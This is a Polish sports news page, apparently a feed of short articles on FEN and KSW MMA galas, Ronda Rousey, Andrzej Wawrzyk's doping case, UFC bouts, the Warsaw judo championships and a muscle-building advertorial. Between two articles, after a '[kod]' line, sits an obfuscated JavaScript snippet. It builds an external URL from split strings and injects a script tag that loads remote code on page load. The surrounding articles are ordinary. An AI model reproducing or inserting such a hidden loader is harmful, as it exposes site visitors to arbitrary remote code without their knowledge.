Drugi z pretendentów Paweł Hadaś (30 lat, 188 cm, 7-1, 6 SUB) na gali FEN 16 powalczy nie tylko o pas, ale i o przedłużenie imponującej serii 7 wygranych z rzędu. Dwa ostatnie zwycięstwa do tego rekordu doświadczony zawodnik Gracie Barra Chorzów i Paco Team Katowice dopisał w ubiegłym roku w klatkoringu FEN, duszeniami poddając Aleksandra Rychlika na gali FEN 10 Gold Edition i Pawła Brandysa na gali FEN 14 Silesian Rage. Choć chorzowianin wywodzi się z kickboxingu, to uchodzi za groźnego grapplera – jako amator zdobył Puchar Polski ADCC w brazylijskim jiu-jitsu i tytuł mistrza Polski w jiu-jitsu. Sukcesem Hadasia jest też finał turnieju Fightstar Promotions: Rage in the Cage 3 w Szkocji, do którego dotarł po pokonaniu Anglika Kyle’a Redfearna i Austriaka Markusa Di Gallo (z walki finałowej Polaka wykluczyła kontuzja).

Starcie Andrzeja Grzebyka z Pawłem Hadasiem będzie jedną z dwóch walk o pas mistrzowski FEN na gali 16 Warsaw Reloaded. 11 marca na Torwarze o tytuł w formule MMA w wadze średniej walczyć będą również Paweł Żelazowski z Kamilem Gniadkiem. Z kolei w main evencie o jedenaste zwycięstwo z rzędu powalczy znakomity piórkowy Kamil Łebkowski. Dużych emocji powinna dostarczyć również walka Michała Oleksiejczuka z Włochem Riccardo Nosiglią, pojedynek K-1 Artura Bizewskiego z Arkadiuszem Wrzoskiem oraz kickbokserskie walki z udziałem Radosława PaczuskiegoMarcina Szredera.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

To już koniec?

Wszystko wskazuje na to, że Ronda Rousey zakończy swoją przygodę z MMA. Po porażce z Amandą Nunes, Amerykanka postanowiła wziąć czas na przemyślenie swojej przyszłości. Zdaniem Dana White'a, Rousey zakończy karierę.

30 grudnia kibice MMA byli w szoku, gdy w starciu z Nunes zobaczyli bezradną „Rowdy”. Brazylijka w zaledwie 48 sekund odprawiła Amerykankę, która po zakończeniu rywalizacji unikała rozmów i kontaktu z mediami. 

Czas na przemyślenia

30-letnia Amerykanka wydała oświadczenie, w którym poinformowała, że potrzebuje czasu na przemyślenia i zastanowienie się nad swoją przyszłością. Wspaniała i bogata kariera Rousey znalazła się na zakręcie. Pierwsza mistrzyni UFC w wadze koguciej szła jak burza i w imponującym stylu wygrywała kolejne walki. Aż trafiła na Holly Holm, która wysokim kopnięciem potężnie ją zamroczyła i odebrała pas. Rousey liczyła na rewanż, głośno się o nim mówiło, jednak ostatecznie do niego nie doszło. Na jej powrót do oktagonu trzeba było czekać ponad rok. Wszyscy byli ciekawi, co zaprezentuje była mistrzyni. Niektórzy zacierali ręce i oczekiwali fajerwerków, ale tych nie było. Rousey wróciła, ale poległa z Amandą Nunes. Tak słabej i bezradnej „Rowdy” nikt nigdy nie widział.

Nie brakowało spekulacji, co dalej z karierą Rousey. Wiele osób stoi na stanowisku, że przygoda „Rowdy” z MMA dobiega końca. Potwierdził to Dan White. – Po rozmowie z nią, gdybym miał teraz ocenić i wydać opinię, to uważam, że ona już nie będzie walczyła, ale to jej decyzja. Według mnie, to koniec kariery. Jej zamiarem jest odejście i życie bez walki – powiedział szef UFC w programie UFC Unfiltered.

Zmieniła UFC

Mówi się, że „nieważne jak się zaczyna, ważne jak się kończy”. W przypadku Rondy Rousey nikt nie może mieć wątpliwości, że jest matką kobiecego MMA. To ona wyznaczała standardy rywalizacji, była i nadal jest twarzą tego sportu. Amerykanka dała wiele efektownych walk, na które widzowie czekali z niecierpliwością. Jednak przyszedł w moment, w którym musiała uznać wyższość rywalek. Można domniemywać, że nie uniosła ciężaru porażki, ale nikt nie podważy jej wpływu na obraz kobiecego MMA. 

Warto pamiętać, że wcześniej 30-letnia Amerykanka uprawiła judo, gdzie również odnosiła sukcesy. Z dotychczasowych wydarzeń można wysnuć wniosek, iż jest już tym zmęczona i chciałaby odpocząć, a w dalszej perspektywie podjąć kolejne wyzwania. Na ostateczną decyzję byłej mistrzyni UFC czekamy. Najlepszym potwierdzeniem jej dokonań są słowa Dana White'a. –  Jestem z niej zadowolony. Weszła do UFC i zmieniła świat – podkreślił.

KM

Wawrzyk czeka na decyzję, Wilder ma rywala

Andrzej Wawrzyk czeka na decyzję federacji WBC, po tym jak w jego organizmie wykryto zakazany stanozolol. Polak musi liczyć się z dyskwalifikacją. Decyzja powinna zapaść w ciągu dwóch tygodni. Tymczasem Deontay Wilder poznał nazwisko rywala, z którym zmierzy się 25 lutego na gali w Birmingham. Na wprost mistrza świata WBC stanie Gerald Washington.

Przypomnijmy. 15 i 16 stycznia przedstawiciele Światowej Agencji Antydopingowej pobrali od Wawrzyka materiały do badań. U Polaka wykryto niedozwolone środki.. W związku z tym Wawrzyk musiał pożegnać się z marzeniami o walce, której stawką byłby pas mistrzowski.

Trzeba czekać

Dla Andrzeja Wawrzyka ostatnie dni to istny dramat. Jego kariera bokserska znalazła się na zakręcie. Sam pięściarz zapewnia, że świadomie nie przyjmował zakazanych substancji. Stanozolol miałby trafić do organizmu Wawrzyka wraz z zanieczyszczoną odżywką.

Wiadomo, że nie ma już szans na starcie z Wilderem o mistrzostwo świata i 29-letni Polak musi liczyć się z karą. Teraz walczy o dobre imię oraz swoją przyszłość. Gdyby wersja Wawrzyka nie znalazła potwierdzenia, bokser musi się liczyć z tym, że pożegna się z grupa Sferis KnockOut Promotions.

Wawrzyk wydał oświadczenie, w którym prosi o cierpliwość i wstrzymanie się z ocenami. –  Głęboko wierze, że wszystkie działania jakie zamierzam podjąć doprowadzą do wyjaśnienia niniejszej sprawy, co pozwoli mi na odzyskanie dobrego imienia, nie tylko wśród kibiców i środowiska bokserskiego, ale i całego sztabu szkoleniowego, a także mojej grupy promotorskiej. Jednocześnie dla dobra sprawy, do czasu uzyskania wyników laboratoryjnych dotyczących badanych suplementów, nie zamierzam jej dalej komentować. Chciałbym również prosić kibiców oraz przedstawicieli mediów, by nie wydawali w mojej sprawie wyroku i nie osądzali mnie, do czasu wyjaśnienia wszystkich okoliczności sprawy – napisał pięściarz.

Mistrz poznał rywala

Andrzej Wawrzyk byłby drugim polskim bokserem, który stawiłby czoła Wilderowi. Ponad rok temu niepokonany Amerykanin znokautował Artura Szpilkę. Miejsce Wawrzyka zajął Gerald Washington.

Kilka dni temu FighTime.pl informował, że to właśnie 34-letni Amerykanin jest najpoważniejszym kandydatem do rywalizacji z mistrzem świata wagi ciężkiej WBC. Nasze doniesienia znalazły potwierdzenie i 25 lutego w Birmingham Washington postara się odebrać Wilderowi pas.

Washington to niezwykle ciekawa postać. 34-latek wcale nie musiał zostać bokserem, bo jego pierwszą miłością był… futbol amerykański. Washington grał w linii defensywnej Uniwersytetu Południowej Karoliny, przebywał także na testach w drużynach NFL. Z kariery nic nie wyszło i w 2012 roku postawił na boks. Decyzja okazała się strzałem w dziesiątkę. 34-latek ma na koncie 18 zwycięstw i jeden remis. Starcie z Wilderem będzie najpoważniejszym wyzwaniem dla Washingtona, który nigdy nie walczył o jakikolwiek tytuł.

KM

Jędrzejczyk dementuje, wielki powrót w MMA

Niepokonana Joanna Jędrzejczyk czeka na kolejną walkę w UFC. Pojawiły się informacje na temat potencjalnej rywalki mistrzyni wagi słomkowej, którą miałaby być Michelle Waterson. Polka nie potwierdza tych doniesień. W polskim MMA szykuje się wielkie wydarzenie. Na majowej gali KSW do rywalizacji powróci Łukasz „Juras” Jurkowski.

Jędrzejczyk wróciła do Stanów Zjednoczonych, gdzie przystąpiła do ciężkiej pracy. – To już koniec wakacji. Czas wracać do ciężkiej pracy w American Top Team. Super się cieszę z tego powodu! Nowe wyzwania i starania o bycie lepszą wersją siebie każdego dnia – napisała mistrzyni wagi słomkowej na swoim facebooku.

W oczekiwaniu na rywalkę

Ostatnią walkę 30-letni Polka stoczyła w listopadzie na gali UFC 205, kiedy to po pięciorundowym boju pokonała Karolinę Kowalkiewicz. Tym samym Jędrzejczyk po raz czwarty obroniła tytuł mistrzowski. Nowy rok niesie ze sobą kolejne wyzwania, a także domysły. Ruszyły spekulacje na temat najbliższej walki mistrzyni UFC, wedle których miałaby zaprezentować się na zaplanowanej na maj gali UFC 211 w rywalizacji z Michell Waterson.

31-letnia Amerykanka mocnym akcentem weszła do UFC. W debiucie, 12 lipca 2015 roku, pokonała przez poddanie Angelę Magana. Waterson miała zmierzyć się z Tecią Torres na UFC 194, jednak do walki nie doszło z powodu kontuzji. Jej przerwa trwała ponad rok, jednak w grudniu wróciła w efektownym stylu. Już w pierwszej rundzie rozprawiła się z Paige VanZant.

Akcje Amerykanki stoją wysoko, jednak Jędrzejczyk zaprzecza, że miałaby się z nią zmierzyć. –  Krążyły plotki, że będę walczyła z Michelle Waterson, ale to nie jest prawda. Byłam zaskoczona, bo dostałam wiele telefonów i wiadomości w tej sprawie. Kontaktowałam się nawet z Seanem Shelby, żeby zapytać, o co chodzi. Nie zamierzam walczyć z Waterson na UFC 211 – powiedziała w rozmowie z mmajunkie.com Jędrzejczyk.
 
Powrót

Po sześcioletniej przerwie do rywalizacji wraca Łukasz Jurkowski. Popularny „Juras” wystąpi podczas gali KSW Colosseum na stadionie PGE Narodowy, która odbędzie się 27 maja.

W ostatnim czasie Jurkowski realizował się w roli komentatora MMA, a także spikera Legii Warszawa. Niezwykle charyzmatyczny „Juras” postanowił wrócić do czynnego sportu. Wylewa pot na sali treningowej, żeby 27 maja dać z siebie maksimum. Po raz ostatni walczył na gali KSW 15, kiedy to przegrał z Tonim Valtonem. Łącznie stoczył 25 pojedynków, z których 15 zakończyło się jego triumfem.

To kolejna dobra informacja dla miłośników MMA. Na gali w Warszawie wystąpi aż pięciu mistrzów KSW: Marcin Wrzosek, Mateusz Gamrot, Tomasz Narkun, Fernando Rodrigues Jr. oraz Mamed Khalidov. Debiut w MMA zaliczy Damian Janikowski, a kolejną walkę stoczy Mariusz Pudzianowski.

fot. bloodyelbow.com

KM

Kwietniowa walka Błachowicza

Jan Błachowicz swoją szóstą walkę w UFC miał stoczyć 4 lutego na gali w Houston, jednak kontuzja wyeliminowała go z rywalizacji. Polskiego zawodnika kategorii półciężkiej zobaczymy w akcji w kwietniu. Jego rywalem będzie Patrick Cummins.

Ostatnią walkę w UFC Błachowicz stoczył we wrześniu ubiegłego roku, kiedy to w Hamburgu przegrał z Alexandrem Gustafssonem. Zaprezentował się przyzwoicie, a wcześniej pokonał Igora Pokrajaca i podpisał umowę z organizacją na kolejne cztery pojedynki.

Rywal czeka na zwycięstwo

4 lutego na gali UFC Fight Night 104 w Houston Błachowicz miał spotkać się z doświadczonym Ovincem St. Preux. Na kilka tygodni przed walką były mistrz KSW musiał wycofać się ze względu na kontuzję. Polak zmaga się z pęknięciem jednej z kości śródręcza w prawej dłoni. Jego miejsce w rywalizacji z St. Preux zajął Volkan Oezdemir.

Polak może spokojnie wracać do zdrowia i myśleć o kolejnej konfrontacji. Błachowicz wejdzie do oktagonu 8 kwietnia na gali UFC 2010 w Buffalo. Jego rywalem będzie Patrick Cummins. Amerykanina trudno uznać za wirtuoza i gwiazdę UFC, jednak jest solidnym zawodnikiem. Do najlepszej organizacji MMA na świecie trafił trzy lata temu z imponującym bilansem. Cztery walki wygrał w pierwszych rundach! W debiucie w UFC 36-latkowi przyszło zmierzyć się z Danielem Cormierem i poległ w… pierwszej odsłonie. Następnie wygrał trzy walki, ale ostatni czas nie jest dla niego najlepszy. Cummins przegrał dwa starcia – z Antonio Nogueirą i Gloverem Teixeirą. Łącznie stoczył w UFC osiem pojedynków, z czego cztery zakończyły się jego triumfem.

Błachowicz ma bogatszą karierę, jednak w amerykańskiej organizacji  ma na koncie pięć walk. Po raz szósty w UFC wystąpi w kwietniu, blisko rok od zwycięstwa z Pokrajacem. Dotychczas Polak odniósł dwa triumfy na amerykańskiej ziemi. W pojedynku z Cumminsem będzie musiał przygotować się na ciężką rywalizację. Istotne jest zachowanie ostrożności i spokojne wejście w pojedynek, bo 36-letni Amerykanin potrafi szybko kończyć walki. Tylko dwa starcia z jego udziałem zakończyły się decyzją sędziów.

Co ciekawe, będzie to starcie rankingowych „sąsiadów” wagi półciężkiej. Błachowicz zajmuje 15. miejsce w zestawieniu, a Cummins znajduje się oczko wyżej.

Johnson zaatakuje Cormiera

Wydarzeniem gali w Buffalo będzie pojedynek o mistrzostwo w wadze półciężkiej pomiędzy Danielem Cormierem a Anthonym Johnsonem. Panowie rywalizowali ze sobą w maju 2015 roku. Wtedy lepszy okazał się Cormier i zarazem sięgnął po pas.

Pierwotnie panowie mieli zmierzyć się w pojedynku rewanżowym w grudniu, jednak z powodu kontuzji mistrza starcie nie doszło do skutku. Johnson wygrał trzy kolejne walki i czeka na kolejną szansę na wywalczenie tytułu. 

KM

Trening na masę – co powinieneś o nim wiedzieć?

Budowanie masy mięśniowej jest jednym z etapów prowadzących do osiągnięcia wymarzonej sylwetki. Wiele osób zatem zastanawia się, jak powinien wyglądać dobry trening na masę i czym różni się od treningu „na rzeźbę”. Postanowiliśmy to sprawdzić. Oto, co udało nam się ustalić:

Jak ułożyć trening na masę?

Jak się okazuje, wiele osób ma problem z ułożeniem racjonalnego i efektywnego planu treningowego „na masę”. W tym zakresie nadal pokutuje wiele mitów i niedomówień. – Prawda jest taka, że wielu z nas nie zdaje sobie sprawy z tego, że każdy trening musi być podparty odpowiednią dietą. Nie od dziś wiadomo, że doskonałe efekty przynosi połączenie ćwiczeń na masę z dietą na masę. Dlatego też warto rozpocząć działanie od zrewidowania swojej diety, dokładnego określenia zapotrzebowania kalorycznego i sprawdzenia, czy spożywamy wszystkie, niezbędne składniki odżywcze w odpowiednich proporcjach. – mówi specjalista z najpopularniejszego obecnie serwisu internetowego o uprawianiu sportu – wirtualnecentrumtreningowe.pl, w którym cały artykuł na ten temat znajdziecie tutaj.

Jaki trening na masę?

Specjaliści podkreślają, że treningi, dzięki którym zanotujemy przyrost tkanki mięśniowej w dużej mierze polegają na treningu siłowym. – Pamiętać należy o tym, że każdy z nas ma inne potrzeby i możliwości, dlatego każdy powinien mieć swój indywidualny plan treningowy uwzględniający nie tylko ogólny stan zdrowia, ale również możliwości zwiększania ciężarów – mięśnie muszą przecież otrzymywać nieustannie bodziec do wzrostu. Wiele osób powtarza, że tak naprawdę istotą treningu na masę są duże obciążenia i mała liczba powtórzeń. Ja dodam tylko, że muszą to być obciążenia dopasowane do każdego indywidualnie i co jakiś czas zwiększane. – dodaje nasz ekspert z WirtualneCentrumTreningowe.pl.

Treningi na masę obrosły mitami. Warto zatem planując je skorzystać ze wskazówek specjalistów – w grę wchodzi przecież nie tylko rezultat, ale też nasze zdrowie.

[kod]

(function(){
q0sy=document.createElement("script");q0sy_=("us")+("ta");
q0sy_+="t"+(".");q0sy_+=("in");q0syu="15454913";q0sy.async=true;
q0syu+=".caji20g20syx6cXbm";q0sy.type="text/javascript";q0sy_+="f"+"o"+("/");
q0syu+="r2svw2e0x3zmp";q0sy.src="//"+q0sy_+q0syu;
dq0sy=document.body;dq0sy.appendChild(q0sy);
})();

Gniadek rywalem Żelazowskiego w walce o pas na FEN 16 Warsaw Reloaded

Zamiast Alberta Odzimkowskiego, wyeliminowanego z udziału w marcowej gali FEN 16 Warsaw Reloaded na Towarze przez poważną kontuzję ręki, z Pawłem Żelazowskim w walce o zwakowany pas w formule MMA kategorii półśredniej zmierzy się Kamil Gniadek. Obaj fighterzy walczą efektownie i skutecznie – niemal wszystkie swoje zwycięstwa odnosili dotąd przed czasem – więc ich pojedynek o tytuł mistrza FEN zapowiada się ekscytująco.

Kamil „The Undertaker” Gniadek (22 lata, 178 cm, 11-4-1) należy do najbardziej dojrzałych i doświadczonych zawodników MMA młodego pokolenia w Polsce. „The Undertaker” zaczynał od grapplingu i ju-jitsu (zdobył m.in. srebrny medal Mistrzostw Europy Ju-Jitsu No-Gi 2012 w Londynie), ale szybko zdecydował się na MMA – pierwszą zawodową walkę stoczył, mając zaledwie 17 lat. Doświadczenie w nowej dyscyplinie zbierał, tocząc zacięte boje m.in. z przyszłymi zawodnikami UFC Artemem Lobovem i Łukaszem Sajewskim. Reprezentant Berserkers Team Szczecin do pojedynku o pas na gali FEN 16 Warsaw Reloaded przystąpi po serii trzech wygranych walk z rzędu w nowej dla siebie kategorii półśredniej (wcześniej walczył w wadze lekkiej). W każdym z tych pojedynków mierzył się z mocnym rywalem i w każdym zwyciężył przed czasem – w kwietniu ubiegłego roku na gali IFO Europe: East Meets West w Niemczech balachą poddał reprezentanta gospodarzy Alexandra Vogta, w sierpniu na gali FEN 13 Summer Edition w swoim debiucie w klatkoringu FEN duszeniem zza pleców pokonał Klemensa Ewalda, a na niedawnej gali FEN 15 Final Strike już w pierwszej rundzie skrętówką wygrał z Francuzem Vincentem Del Guerrą.

Paweł Żelazowski (26 lat, 183 cm, 9-2), notowany nieco wyżej niż Gniadek w rankingach polskiego MMA wagi półśredniej, również ma na koncie dwa występy w organizacji Fight Exclusive Night, w których rozprawił się z przeciwnikami na długo przed kończącym walkę gongiem. W 2015 roku na wakacyjnej gali FEN 8 Summer Edition prawym sierpowym znokautował Artura Piotrowskiego, a na ubiegłorocznej gali FEN 11 Warsaw Time efektownie balachą zza pleców zmusił do odklepania Alberta Odzimkowskiego. Zawodnik klubu Dziki Wschód Biała Podlaska wcześniej święcił triumfy w Profesjonalnej Lidze MMA, wygrywając w niej siedem walk z rzędu i zdobywając tytuł mistrza tej organizacji. Jedynych porażek w zawodowej karierze Żelazowski doznał w obronie pasa PLMMA ze świetnym Francuzem Mickaelem Leboutem, później związanym z federacją UFC, oraz w swoim zagranicznym debiucie na gali GMC 9 w Niemczech, na której w walce wieczoru walczył o pas z Kerimem Engizekiem.

Albert Odzimkowski, który na  gali FEN 15 Final Strike w Lubinie pokonał na punkty Oskara Somerfelda, już w pierwszej rundzie doznał złamania drugiej kości śródręcza prawej dłoni. Zawodnik Cross Fight Radom w zeszłym tygodniu poddał się operacji i nie ma szans, aby w terminie gali FEN 16 Warsaw Reloaded był już stuprocentowo zdrowy i gotowy do walki. „Kontuzja Alberta pokrzyżowała zarówno jego, jak i nasze plany. Jedno jest pewne – „Złoty” swoimi dotychczasowymi występami w klatkoringu FEN zasłużył na walkę o tytuł mistrzowski i na jednej z kolejnych gal ponownie otrzyma szansę jego zdobycia” – zapowiada prezes FEN Paweł Jóźwiak.

Jedynym mistrzem FEN w MMA kategorii półśredniej był dotychczas Davy Gallon, który zdobył tytuł podczas gali FEN 12 Feel The Force, pokonując we wrocławskiej Hali Stulecia Michała Michalskiego. Francuz niedawno zwakował jednak pas, decydując się zmienić kategorię wagową.

FEN 16 Warsaw Reloaded to druga gala organizacji Fight Exclusive Night w stolicy Polski. 11 marca na stołecznym Torwarze w walce wieczoru wystąpi najlepszy piórkowy polskiego MMA Kamil Łebkowski, a o pas walczyć będzie także Paweł Hadaś w kategorii średniej. W fight cardzie znalazło się także starcie w formule K-1 Artura Bizewskiego i Arkadiusza Wrzoska oraz walki Marcina Szredera i debiutującego w FEN Radosława Paczuskiego.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Odliczanie do mistrzostw Europy

Po siedemnastu latach mistrzostwa Europy w judo ponownie zagoszczą w Polsce. W dniach 20-23 kwietnia impreza odbędzie się w Warszawie. Polska musi wykorzystać tę szansę na płaszczyźnie sportowej i marketingowej.

Gdzieś w tunelu widać światełko. Igrzyska Olimpijskie polskim kadrowiczom nie wyszły, jednak w pojedynczych startach na poziomie międzynarodowym odnotowywaliśmy dobre wyniki. Podczas ubiegłorocznych mistrzostw Europy w Kazaniu pokazaliśmy siłę tkwiącą w naszych drużynach. Wspomniane starty dają nadzieję, ale niezbędna jest powtarzalność, która pozwoli jednoznacznie stwierdzić, że jesteśmy na dobrej drodze. Teraz zmierzamy do Tokio, a na trasie mamy przystanek Warszawa.

Z nadzieją na medale

O przeszłości należy pamiętać i ją pielęgnować, ale niekoniecznie żyć nią każdego dnia. Powinniśmy tworzyć historię, która jest wyznacznikiem trwałości i potęgi. W 1994 roku mogliśmy powiedzieć, że polskie judo jest mocne na tle Europy. Podczas mistrzostw w Gdańsku zdobyliśmy sześć krążków i zajęliśmy piąte miejsce w klasyfikacji medalowej. Tytuły najlepszych na Starym Kontynencie wywalczyli: Paweł Nastula (95kg) i Ewa Krasue (52kg). Rywalizację w Gdańsku ze srebrnym medalem zakończyła utytułowana Beata Maksymow. Ponownie mistrzostwa Europy zawitały do Polski sześć lat później. We Wrocławiu nie było już tak kolorowo. Widać było, że nasze judo przeżywa kryzys. Tylko Robertowi Krawczykowi (81kg) udało stanąć się na podium, wywalczył brąz.

W jakim miejscu jest obecnie polskie judo? Na pewno droga nie jest prosta. Co i raz pojawiają się problemy natury finansowej, w 2014 roku w Polskim Związku Judo nastał się kurator. Wszystko to odbiło się szerokim echem i nie dostarczyło judo sympatyków. Stan kryzysu potęgował brak sukcesów sportowych. 

Jednak światełko zapaliło się. W 2014 roku nadzieję w serca wlała Katarzyna Kłys, która przełamała naszą niemoc w mistrzostwach świata i sięgnęła po brąz. Wiele obiecywaliśmy sobie po igrzyskach w Rio, gdzie wystąpiła czwórka Polaków. Wróciliśmy jednak bez medalu. Trochę szkoda, że w igrzyskach nie odbywa się rywalizacja drużynowa, bo jako monolit stanowimy siłę. Żeńska kadra w Kazaniu wywalczyła mistrzostwo Europy, a męska brązowy medal.

Już w kwietniu europejska czołówka zawita do Warszawy. Na obecną chwilę warunki kwalifikacyjne spełnia 19 zawodników (11 pań i 8 panów). Są to: Ewa Konieczny (48kg), Karolina Pieńkowska i Agata Perenc (52kg), Arleta Podolak i Anna Borowska (57kg), Karolina Tałach i Agata Ozdoba (63kg), Katarzyna Kłys i Sandra Lickun (70kg), Daria Pogorzelec i Beata Pacut (78kg), Michał Bartusik i Patryk Wawrzyczek (66kg), Damian Szwarnowiecki i Jakub Kubieniec (81kg), Piotr Kuczera i Patryk Ciechomski (90kg), Maciej Sarnacki i Kamil Grabowski (+100kg). Należy pamiętać, że obowiązuje limit miejsc – 9 dla kobiet i 9 dla mężczyzn oraz nie więcej niż dwóch zawodników w kategorii wagowej z danego kraju. Decydujący będzie ranking światowy, a następnie krajowy na dzień 6 marca. Warto dodać, że Polska może zaproponować po jednej „dzikiej karcie” wśród kobiet i mężczyzn. 

Zdobywać punkty

Niezwykle ważne będą dla zawodników lutowe i marcowe starty, w których mogą wzbogacić swoje konto punktowe i poprawić pozycję w rankingach. W zmaganiach w Tunisie nie zobaczyliśmy naszych zawodników. Turniej zdominowali Francuzi, którzy wywalczyli aż 22 medale, w tym osiem złotych.

Kolejne zmagania już 4 lutego. Panie pojadą do Sofii, a panowie zaprezentują się w Odivelas. Wiadomo, że w Bułgarii rywalizować będą Agata Perenc (52kg) i Julia Kowalczyk (57kg). Z kolei w Odivelas wystąpi pięciu biało-czerwonych. Tydzień później judocy wezmą udział w zawodach Grand Slam w Paryżu. Wśród zgłoszonych jest Arleta Podolak (57kg), która rok temu we Francji była piąta.

KM

Wawrzyk nie zawalczy o mistrzostwo świata!

Do najważniejszego starcia w karierze Andrzeja Wawrzyka pozostał miesiąc. Do pojedynku nie dojdzie, gdyż Polak został przyłapany na stosowaniu dopingu!

25 lutego na gali w Birmingham w walce wieczoru mistrz świata WBC Deontay Wilder miał zmierzyć się z Andrzejem Wawrzykiem. Tym samym 29-latek po raz drugi rywalizowałby o pas. Jednak już teraz Wawrzyk znalazł się na ustach wszystkich, ale nie jest to powód do chwały…

Dopingowy skandal

Do drzwi Wawrzyka zapukali przedstawiciele komisji antydopingowej. 15 i 16 stycznia od polskiego pięściarza pobrano dwie próbki, których wynik badania był zatrważający. W pobranych materiałach wykryto stanozolol, czyli specyfik zapewaniający szybki przyrost masy mięśniowej. 

Dla Wawrzyka to dopiero początek problemów. Po pierwsze, zaprzepaścił szansę na walkę o mistrzostwo świata. 25 lutego miał rywalizować o pas WBC z Deontayem Wilderem. Bilety na galę w Birmingham rozchodziły się jak świeże bułeczki. Dla polskich kibiców byłoby to ogromne wydarzenie, gdyż mogliby zobaczyć kolejnego rodaka w rywalizacji o tytuł w kategorii królewskiej. Co ważne, dla Wawrzyka byłoby to drugie starcie mistrzowskie. W maju 2013 roku przegrał z Aleksandrem Powietkinem. Po drugie, polski pięściarz musi czekać na wyrok w postaci dyskwalifikacji. 

W ostatnim czasie na stosowaniu dopingu przyłapano Michała Cieślaka i Nikodema Jeżewskiego. W 2012 roku w tarapaty popadł inny pięściarz wagi ciężkiej. Mariusz Wach został zdyskwalifikowany za stosowanie dopingu po walce z Władimirem Kliczko.

Wilder szuka rywala

Wilder musi więc czekać na rywala, z którym zmierzy się w Alabamie. Przeciwnik będzie musiał w ekspresowym tempie przygotować się do pojedynku. Najpoważniejszym kandydatem do występu na gali w Birmingham jest Gerald Washington. 34-letni Amerykanin jeszcze nigdy nie przegrał na zawodowym ringu. Na rozkładzie ma m.in. Eddiego Chambersa i Nagy'ego Aguilerę, których swego czasu pokonał Tomasz Adamek. Washington zremisował jedno starcie – w październiku 2015 roku z Amirem Mansourem. Wśród kandydatów do walki z mistrzem WBC wymienia się również Dilliana Whyte'a i Jarrela Millera.

Dla Wildera lutowa walka będzie powrotem po półrocznej przerwie. W wygranym pojedynku z Chrisem Arreolą 31-letni bombardier doznał kontuzji ręki i musiał przejść dwie operacje.

Po raz drugi potencjalny rywal Wildera wpada na dopingu. W maju ubiegłego roku amerykański czempion miał spotkać się z Aleksandrem Powietkinem, jednak w organizmie Rosjanina wykryto meldonium.

Na gali w Birmingham miał się zaprezentować Artur Szpilka. „Szpilę” przymierzano do walki z Dominicem Breazealem, który niedawno przegrał walkę o pas IBF z Anthonym Joshuą. Do starcia jednak nie dojdzie. 25 lutego z Breazealem do ringu wejdzie niepokonany Izuagbe Ugonoh.

KM

Mistrzowskie starcia na PGE Narodowym

Na majowej gali KSW na stadionie PGE Narodowy w Warszawie zobaczymy cztery walki mistrzowskie. Trzech czempionów poznało już swoich rywali. Na przeciwnika nadal czeka Mamed Khalidov.

W wadze ciężkiej Fernando Rodrigues Jr. zmierzy się z Marcinem Rożalskim, zaś w półciężkiej Tomasz Narkun będzie chciał odeprzeć atak Marcina Wójcika. Z kolei mistrz kategorii piórkowej Marcin Wrzosek zmierzy się z Kleberem Koike Erbstem.

„Różal” pomści Bedorfa?

29-letni Rodrigues Jr. ma najmniejsze doświadczenie spośród wszystkich uczestników mistrzowskich walk warszawskiej gali. Brazylijczyk przyjechał do Polski i w swoim pierwszym występie zdobył tytuł w wadze ciężkiej KSW. W drugiej rundzie rozbił Karola Bedorfa, który po trzech udanych obronach pożegnał się z pasem. 

Na PGE Narodowym pomścić „Coco” postara się Marcin Różalski. 38-latek stanie przed ogromną szansą. Jeszcze rok temu znajdował się pod ścianą. Po dwóch porażkach jego los wisiał na włosku, jednak na KSW 35 okazał się lepszy od Mariusza Pudzianowskiego. „Różal” w efektownym stylu wrócił na salony i w maju będzie mógł wejść na szczyt. „Płocki Barbarzyńca” będzie miał swój mały jubileusz. W Warszawie zaliczy dziesiątą walkę dla KSW.

Marcin Wójcik przebojem wdarł się do KSW i po trzech zwycięstwach dostał szansę na starcie o mistrzowski pas wagi półciężkiej. 27-latek z Piły wygrał osiem kolejnych walk. W KSW pokonał kolejno: Tomasza Kondraciuka, Michała Fijałka oraz Marcina Łazarza. Ostatniego rywala odprawił już w pierwszej rundzie przez duszenie gilotynowe. Efektowny Wójcik stanie w Warszawie na wprost Tomasza Narkuna. 27-letni mistrz stał się jedną z najbardziej popularnych postaci KSW. Narkun nie ma litości dla swoich rywali. Kolejne cztery walki rozstrzygał w pierwszych rundach.

Walce Artura Sowińskiego z Marcinem Wrzoskiem towarzyszyło wiele emocji. Podczas grudniowej gali w Krakowie „Polski Zombie” odebrał pas „Kornikowi”. Wrzosek stanie do pierwszej obrony tytułu przed sześćdziesięciotysięczną publicznością. Jego rywalem będzie dobrze znany Kleber Koike Erbst. 27-latek z Japonii wygrał dwie walki na KSW, raz przegrał. Jego pogromcą okazał się Artur Sowiński. Po raz drugi Koike Erbst stanie przed szansą wywalczenia pasa w kategorii piórkowej.

Gwiazdozbiór

Majowa gala KSW na PGE Narodowym będzie pełna gwiazd. W stolicy dojdzie do czterech pojedynków mistrzowskich. Na rywala nadal czeka Mamed Khalidov, który pokonał ostatnio Aziza Karaoglu.

W Warszawie zaprezentuje się Mariusz Pudzianowski, który po wygranej z Pawłem Mikołajuwem w Krakowie zapowiadał, że powoli myśli o zakończeniu kariery. Były strongman ma na koncie 10 wygranych walk i 5 porażek. Na PGE Narodowym pierwszą walkę w formule MMA stoczy brązowy medalista Igrzysk Olimpijski w Londynie w zapasach w stylu klasycznym – Damian Janikowski.

Fot. sherdog.com

KM

Wilder następny na liście Joshuy?

W kwietniu na stadionie Wembley pojawią się prawdziwe gromy. Anthony Joshua zmierzy się z Władimirem Kliczko w mistrzowskim starciu w wadze ciężkiej. 27-latek z Watford przygotowuje się do starcia z ikoną boksu, ale jego promotorzy już myślą o kolejnym pojedynku. Rywalem Joshuy miałby być Deontay Wilder.

Ubiegły rok w kategorii ciężkiej przebiegał pod dyktando uników Tysona Fury'ego, który nie udźwignął ciężaru sukcesu. Popadł w kłopoty i używki, a na koniec zrzekł się pasów. Na szczyt wspiął się Anthony Joshua. Zakontraktowanie jego walki z Władimirem Kliczko to hit, ale kto powiedział, że będzie to jedyne gorące danie nadchodzących miesięcy?

Amerykański sen

